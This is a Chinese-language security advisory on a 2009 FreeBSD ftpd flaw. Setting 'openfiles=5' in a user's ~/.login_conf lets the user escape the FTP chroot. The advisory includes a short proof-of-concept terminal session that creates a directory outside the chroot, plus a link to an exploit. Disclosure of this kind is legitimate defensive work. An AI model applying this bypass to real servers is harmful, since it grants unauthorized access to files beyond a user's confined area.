安全研究

安全漏洞
FreeBSD ftpd setusercontext()远程权限提升漏洞

发布日期:2009-08-24
更新日期:2009-08-25

受影响系统:
FreeBSD FreeBSD 7.0
FreeBSD FreeBSD 5.0
描述:
BUGTRAQ  ID: 36119

FreeBSD就是一种运行在Intel平台上、可以自由使用的开放源码Unix类系统。

FreeBSD及其他一些BSD系统有一个用于设置用户上下文的功能,如FreeBSD中的setusercontext()函数:

    setusercontext(lc, pw, (uid_t)0,
        LOGIN_SETLOGIN|LOGIN_SETGROUP|LOGIN_SETPRIORITY|
        LOGIN_SETRESOURCES|LOGIN_SETUMASK);

其中的LOGIN_SETRESOURCES设置允许用户设置资源。根据用户手册所述:

     LOGIN_SETRESOURCES  根据系统登录类数据库中所指定的值为当前进程设置资源限制。使用类功能标签,可选择-cur(软限制)或-max(硬限制)后缀及相关的资源设置:

             cputime       RLIMIT_CPU
             filesize      RLIMIT_FSIZE
             datasize      RLIMIT_DATA
             stacksize     RLIMIT_STACK
             coredumpsize  RLIMIT_CORE
             memoryuse     RLIMIT_RSS
             memorylocked  RLIMIT_MEMLOCK
             maxproc       RLIMIT_NPROC
             openfiles     RLIMIT_NOFILE
             sbsize        RLIMIT_SBSIZE
             vmemoryuse    RLIMIT_VMEM

远程攻击者可以利用这些选项设置自己的~/.login_conf配置。例如,将openfiles设置为5就可以绕过ftpd.c中的chroot()限制。

<*来源:Kingcope (kingcope@gmx.net
  
  链接:http://milw0rm.com/exploits/9489
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

---snip---
%cat /etc/ftpchroot
kcope
%cat .login_conf
me:\
  :openfiles=5:

%cap_mkdb .login_conf
%ftp 192.168.2.4
Connected to 192.168.2.4.
220  FTP server (Version 6.00LS) ready.
Name (192.168.2.4:root): kcope
331 Password required for kcope.
Password:
230 User kcope logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pwd
Remote directory: /usr/home/kcope
ftp> mkdir /tmp/foobar
257 "/tmp/foobar" directory created.
ftp> ls
425 Can't open passive connection: Too many open files.
425 Can't open passive connection: Too many open files.
200 PORT command successful.
550 /bin/ls -lgA: Too many open files.
ftp>
---snip---

建议:
厂商补丁:

FreeBSD
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.freebsd.org/security/index.html

浏览次数:2686
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障